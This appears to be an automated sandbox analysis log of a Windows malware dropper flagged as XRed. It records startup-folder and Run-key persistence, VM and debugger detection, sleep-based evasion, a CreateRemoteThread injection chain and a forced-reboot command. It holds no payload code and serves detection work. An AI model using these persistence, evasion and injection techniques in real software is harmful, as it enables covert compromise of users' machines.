File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\cbas.lnk

Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\__tmp_rar_sfx_access_check_4196250
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\cbas.lnk
Source: C:\Windows\wic.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Source: C:\Program Files (x86)\1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Program Files (x86)\1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\Windows\wic.exe	Code function: 11_2_00E83400 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	11_2_00E83400
Source: C:\Windows\wic.exe	Code function: 11_2_00EA2B33 IsIconic,	11_2_00EA2B33
Source: C:\Windows\wic.exe	Code function: 11_2_00EC2D32 __EH_prolog3_GS,GetParent,GetParent,UpdateWindow,SetCursor,GetAsyncKeyState,UpdateWindow,InflateRect,SetCapture,SetCursor,IsWindow,GetCursorPos,ScreenToClient,PtInRect,RedrawWindow,GetParent,GetParent,RedrawWindow,RedrawWindow,GetParent,GetParent,GetParent,InvalidateRect,UpdateWindow,UpdateWindow,NotifyWinEvent,NotifyWinEvent,SetCapture,RedrawWindow,SetRectEmpty,RedrawWindow,ReleaseCapture,SetCapture,ReleaseCapture,SetCapture,SendMessageA,UpdateWindow,SendMessageA,IsWindow,IsIconic,IsZoomed,IsWindow,UpdateWindow,	11_2_00EC2D32
Source: C:\Windows\wic.exe	Code function: 11_2_00ED3CAB GetClientRect,IsRectEmpty,IsWindow,IsIconic,BeginDeferWindowPos,GetClientRect,IsRectEmpty,GetWindowRect,GetParent,IsRectEmpty,EqualRect,EndDeferWindowPos,	11_2_00ED3CAB

Source: C:\Windows\cbas.exe

Code function: 18_2_00BB284A GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

18_2_00BB284A

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\3.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to implement multi-threaded time evasion

Source: C:\Program Files (x86)\3.exe

Code function: 7_2_004019FC CreateThread,Sleep, call eax

7_2_004019FC

Source: C:\Users\user\Desktop\._cache_2.exe

Memory allocated: 7300000 memory reserve | memory write watch

Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCXF308.tmp	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	Dropped PE file which has not been started: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Jump to dropped file
Source: C:\Windows\wic.exe	Dropped PE file which has not been started: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	Dropped PE file which has not been started: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCXF376.tmp	Jump to dropped file
Source: C:\Windows\wic.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msslac[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_1.exe	API coverage: 5.2 %
Source: C:\Windows\wic.exe	API coverage: 4.5 %
Source: C:\Windows\cbas.exe	API coverage: 4.2 %

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7496	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\3.exe TID: 7612	Thread sleep count: 162 > 30
Source: C:\Program Files (x86)\3.exe TID: 7612	Thread sleep time: -81000s >= -30000s
Source: C:\Windows\cbas.exe TID: 8088	Thread sleep count: 46 > 30
Source: C:\Windows\cbas.exe TID: 8088	Thread sleep time: -92000s >= -30000s

Source: C:\Program Files (x86)\3.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\cbas.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040A2B0 GetDesktopWindow,FindFirstFileA,FileTimeToSystemTime,realloc,FindNextFileA,FindClose,qsort,SetFileAttributesA,SetFileAttributesA,DeleteFileA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,free,	2_2_0040A2B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00407D50 SendMessageA,FindFirstFileA,realloc,FindNextFileA,FindClose,SetFileAttributesA,DeleteFileA,??3@YAXPAX@Z,free,Sleep,	2_2_00407D50
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DCF9B3 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00DCF9B3
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDDB70 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,	8_2_00DDDB70
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D2BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00D2BA94
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D3D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_00D3D420
Source: C:\Windows\wic.exe	Code function: 11_2_00F3E027 __EH_prolog3_GS,GetFullPathNameA,__cftof,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,_strlen,	11_2_00F3E027
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC940B FindFirstFileExA,	18_2_00BC940B

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DE1FA6 VirtualQuery,GetSystemInfo,

8_2_00DE1FA6

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: 1.exe, 00000001.00000003.1715724484.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.1801335644.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000706000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000705000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3j
Source: Synaptics.exe, 00000003.00000002.3537477101.0000000000791000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB-&
Source: file.exe, 00000000.00000003.1800217674.0000000000726000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800217674.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708813251.0000000000726000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1708777064.0000000000751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000726000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1801335644.0000000000751000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3537477101.0000000000791000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3537477101.0000000000761000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000B.00000003.1823701424.000000000169D000.00000004.00000020.00020000.00000000.sdmp, wic.exe, 0000000B.00000002.3538860898.000000000169D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wic.exe, 0000000B.00000002.3538860898.0000000001642000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(0j
Source: ._cache_1.exe, 00000002.00000003.1739461967.000000000078F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
Source: ._cache_2.exe, 00000008.00000002.1889956699.0000000000D52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-130
Source: C:\Program Files (x86)\3.exe	API call chain: ExitProcess graph end node	graph_7-676
Source: C:\Program Files (x86)\3.exe	API call chain: ExitProcess graph end node	graph_7-740
Source: C:\Program Files (x86)\3.exe	API call chain: ExitProcess graph end node	graph_7-659
Source: C:\Users\user\Desktop\._cache_2.exe	API call chain: ExitProcess graph end node	graph_8-31857
Source: C:\Program Files (x86)\4.exe	API call chain: ExitProcess graph end node	graph_9-25631

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DE3559 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00DE3559

Source: C:\Windows\wic.exe

Code function: 11_2_00E8827B OutputDebugStringA,GetLastError,

11_2_00E8827B

Source: C:\Windows\wic.exe

Code function: 11_2_00FD6896 VirtualProtect ?,-00000001,00000104,?,?,?,00000000

11_2_00FD6896

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406A20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_00406A20

Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D491B0 mov eax, dword ptr fs:[00000030h]	9_2_00D491B0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC91B6 mov eax, dword ptr fs:[00000030h]	18_2_00BC91B6
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC9183 mov eax, dword ptr fs:[00000030h]	18_2_00BC9183
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC913E mov eax, dword ptr fs:[00000030h]	18_2_00BC913E
Source: C:\Windows\cbas.exe	Code function: 18_2_00BBE8A5 mov eax, dword ptr fs:[00000030h]	18_2_00BBE8A5

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DF1450 GetProcessHeap,

8_2_00DF1450

Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DE3559 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00DE3559
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DE36EC SetUnhandledExceptionFilter,	8_2_00DE36EC
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DE7833 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00DE7833
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DE29AB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00DE29AB
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D40A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00D40A0A
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D40B9D SetUnhandledExceptionFilter,	9_2_00D40B9D
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D40D8A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00D40D8A
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D44FEF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00D44FEF
Source: C:\Windows\wic.exe	Code function: 11_2_00FD3CED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00FD3CED
Source: C:\Windows\wic.exe	Code function: 11_2_00FCBE77 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00FCBE77
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB87F0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00BB87F0
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB3B98 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00BB3B98
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB3D93 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00BB3D93
Source: C:\Windows\cbas.exe	Code function: 18_2_00BB3F26 SetUnhandledExceptionFilter,	18_2_00BB3F26

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Windows\cbas.exe

Code function: 18_2_00BA5EC0 GetModuleFileNameA,Sleep,Sleep,OpenProcess,ReadProcessMemory,Sleep,ReadProcessMemory,OpenProcess,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,GetVersionExA,GetModuleHandleA,GetProcAddress,Sleep,CreateRemoteThread,WaitForSingleObject,Sleep,VirtualFreeEx,CloseHandle,

18_2_00BA5EC0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\1.exe "C:\Program Files (x86)\1.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\2.exe "C:\Program Files (x86)\2.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\3.exe "C:\Program Files (x86)\3.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\4.exe "C:\Program Files (x86)\4.exe" 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\wic.exe "C:\Windows\wic.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\Users\user\Desktop\._cache_1.exe "C:\Users\user\Desktop\._cache_1.exe" 0	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process created: C:\Users\user\Desktop\._cache_2.exe "C:\Users\user\Desktop\._cache_2.exe" 0	Jump to behavior
Source: C:\Windows\wic.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown /r /t 0

Source: C:\Program Files (x86)\3.exe

Code function: 7_2_00401D63 cpuid

7_2_00401D63

Source: C:\Users\user\Desktop\._cache_2.exe	Code function: GetLocaleInfoW,	8_2_00DDD314
Source: C:\Program Files (x86)\4.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	9_2_00D3C093
Source: C:\Windows\wic.exe	Code function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoEx,GetLocaleInfoW,	11_2_00EA7900
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,	18_2_00BC209E
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,	18_2_00BCC229
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_00BCC352
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,	18_2_00BCC45A
Source: C:\Windows\cbas.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_00BCC52D
Source: C:\Windows\cbas.exe	Code function: EnumSystemLocalesW,	18_2_00BC1A34
Source: C:\Windows\cbas.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	18_2_00BCBBE2
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,	18_2_00BCBDBC
Source: C:\Windows\cbas.exe	Code function: EnumSystemLocalesW,	18_2_00BCBEB0
Source: C:\Windows\cbas.exe	Code function: EnumSystemLocalesW,	18_2_00BCBE65
Source: C:\Windows\cbas.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_00BCBFD9
Source: C:\Windows\cbas.exe	Code function: EnumSystemLocalesW,	18_2_00BCBF4B

Source: C:\Program Files (x86)\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\._cache_2.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation

Source: C:\Users\user\Desktop\._cache_2.exe

Code function: 8_2_00DDE674 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

8_2_00DDE674

Source: C:\Users\user\Desktop\._cache_1.exe

Code function: 2_2_0040A4E0 GetVersionExA,MessageBoxA,GetDesktopWindow,_strcmpi,_strcmpi,_strcmpi,sprintf,MessageBoxA,MessageBoxA,MessageBoxA,

2_2_0040A4E0

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.0.1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXF376.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\HjsFu2ta.exe, type: DROPPED
